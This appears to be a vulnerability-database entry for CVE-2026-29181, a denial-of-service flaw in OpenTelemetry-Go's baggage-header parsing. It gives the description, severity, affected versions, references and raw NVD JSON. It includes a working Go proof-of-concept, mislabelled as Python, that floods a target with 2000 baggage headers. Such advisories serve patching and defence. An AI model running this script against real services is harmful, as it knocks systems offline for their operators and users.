CVE-2026-29181

Description

OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.36.0 to 1.40.0, multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. This allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit. This vulnerability is fixed in 1.41.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:go:*:* - VULNERABLE

OpenTelemetry-Go >= 1.36.0, <= 1.40.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

package main

import (
	"fmt"
	"net/http"
)

func main() {
	// Target endpoint vulnerable to CVE-2026-29181
	targetURL := "http://vulnerable-target:8080/api"

	// Construct a malicious HTTP request
	req, err := http.NewRequest("GET", targetURL, nil)
	if err != nil {
		panic(err)
	}

	// Exploit: Add a large number of 'baggage' headers.
	// The parser aggregates these, causing high CPU/Memory usage.
	// Each value is under the 8192 byte limit, but the volume causes the DoS.
	for i := 0; i < 2000; i++ {
		req.Header.Add("baggage", fmt.Sprintf("key%d=val%d", i, i))
	}

	// Send the request
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Attack sent, target likely unresponsive:", err)
		return
	}
	defer resp.Body.Close()

	fmt.Printf("Request completed with status: %s\n", resp.Status)
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29181
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29181
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29181/
[4] VulDB https://vuldb.com/cve/CVE-2026-29181
[5] https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29181", "sourceIdentifier": "[email protected]", "published": "2026-04-07T21:17:16.003", "lastModified": "2026-04-14T18:45:01.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.36.0 to 1.40.0, multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. This allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit. This vulnerability is fixed in 1.41.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.36.0", "versionEndExcluding": "1.41.0", "matchCriteriaId": "A92EDFF5-4806-4B87-86F2-A3BE4A0A02A9"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-mh2q-q3fh-2475", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}